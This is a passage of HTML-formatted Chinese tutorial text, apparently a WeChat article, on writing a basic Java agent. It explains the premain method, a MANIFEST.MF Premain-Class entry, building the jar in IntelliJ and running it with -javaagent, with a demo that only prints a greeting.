&#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">第一个参数</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">String agentArgs</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">就是Java agent的参数。</span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">第二个参数</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Instrumentaion inst</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">相当重要，会在之后的进阶内容中提到。</span></p><section data-tools="135编辑器" data-id="101761" data-color="#ff8124"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;flex-direction: column;"><section style="box-sizing:border-box;width:40px;"><img data-ratio="1.3" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="60" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcd077e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qvk2fI2GOo7NNjbXeyuvekAMmH5sS42mBASXuicVz4kPCsicIxntZ0oEIw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;display:flex;justify-content: center;align-items: center;margin-top: -20px;"><section style="display: inline-block;background: #ff8124;border-radius: 8px;color: #ffffff;padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);box-sizing: border-box;border-radius: 8px;"><section data-brushtype="text" style="font-size: 16px;padding: 6px 1em;letter-spacing: 2px;box-sizing: border-box;" hm_fix="306:540"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>premain</strong></span></section></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">要做一个简单的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">premain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">需要以下几个步骤：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.创建新项目，项目结构为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">agent</span></span></code><code><span class="code-snippet_outer">├── <span class="code-snippet__selector-tag">agent</span><span class="code-snippet__selector-class">.iml</span></span></code><code><span class="code-snippet_outer">├── <span class="code-snippet__selector-tag">pom</span><span class="code-snippet__selector-class">.xml</span></span></code><code><span class="code-snippet_outer">└── <span class="code-snippet__selector-tag">src</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">main</span></span></code><code><span class="code-snippet_outer">    │   ├── <span class="code-snippet__selector-tag">java</span></span></code><code><span class="code-snippet_outer">    │   └── <span class="code-snippet__selector-tag">resources</span></span></code><code><span class="code-snippet_outer">    └── <span class="code-snippet__selector-tag">test</span></span></code><code><span class="code-snippet_outer">        └── <span class="code-snippet__selector-tag">java</span></span></code></pre></section><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.<span style="caret-color: red;">创建一个类（这里为</span><code style="caret-color: red;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">com.shiroha.demo.PreDemo</code><span style="line-height: 1.5;display: block;caret-color: red;">），并且实现<span style="background-color: rgb(248, 245, 236);color: rgb(255, 53, 2);font-size: 14.4px;caret-color: red;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">premain</span><span style="caret-color: red;">方法。</span></span><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.shiroha.demo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.instrument.Instrumentation;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PreDemo</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">premain</span><span class="code-snippet__params">(String args, Instrumentation inst)</span> <span class="code-snippet__keyword">throws</span> Exception</span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">10</span>; i++) {</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;hello I`m premain agent!!!&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section></span><p><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.<span style="caret-color: red;">在</span><code style="caret-color: red;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">src/main/resources/</code><span style="caret-color: red;">目录下创建</span><code style="caret-color: red;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">META-INF/MANIFEST.MF</code><span style="caret-color: red;">，需要指定</span><code style="caret-color: red;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Premain-Class</code><span style="caret-color: red;">。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Manifest-Version</span>: 1<span class="code-snippet__selector-class">.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Premain-Class</span>: <span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.shiroha</span><span class="code-snippet__selector-class">.demo</span><span class="code-snippet__selector-class">.PreDemo</span></span></code></pre></section><p><br/></p><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">要注意的是，<strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">最后必须多一个换行</strong>。</span></p></span><p><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/>4.<span style="caret-color: red;">打包成jar</span></span></p><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">选择</span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Project Structure</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> -&gt; </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Artifacts</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> -&gt; </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">JAR</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> -&gt; </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">From modules with dependencies</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="79" data-backw="295" data-ratio="0.26666666666666666" title="null" data-type="png" data-w="1440" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=93149d80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qv237Py5YmKqhPdqOa8HExsX86wYs3xAkcTbZ7OGURAgKuHJjWAKaYibA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">默认的配置就行。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="195" data-backw="295" data-ratio="0.662109375" title="null" data-type="png" data-w="1024" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb6a6cd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvMMA6ZawFxqZPY0VVukANuS48eGXOJ2YBkWvOt60EIvslFhQcGTrlUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">选择</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Build</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> -&gt; </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Build Artifacts</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> -&gt; </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Build</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="270" data-backw="295" data-ratio="0.9136363636363637" title="null" data-type="png" data-w="440" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=233bafde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvW92RSGpd1icTdAyZiap8Um2kN17bNtupJBWSicMDAJtG49P28ibDFHrYPg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">之后产生</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">out/artifacts/agent_jar/agent.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">└── <span class="code-snippet__keyword">out</span></span></code><code><span class="code-snippet_outer">    └── artifacts</span></code><code><span class="code-snippet_outer">        └── agent_jar</span></code><code><span class="code-snippet_outer">            └── agent.jar</span></code></pre></section></span><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span><span style="box-sizing: border-box;margin: 10px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;display: block;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">5.使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">-javaagent:agent.jar</span></code>参数执行<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">hello.jar</span></code>，结果如下。<p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="213" data-backw="295" data-ratio="0.7219796215429404" title="null" data-type="png" data-w="1374" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a7f1363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvoF03SQWWKQ7wevqSwWfYLYqrbfdP1nNGuxcjs8PFHv7BTEM5yApx6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以发现在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">hello.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">输出</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">hello world</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">之前就执行了</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">com.shiroha.demo.PreDemo$premain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法。</span></p></span><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New 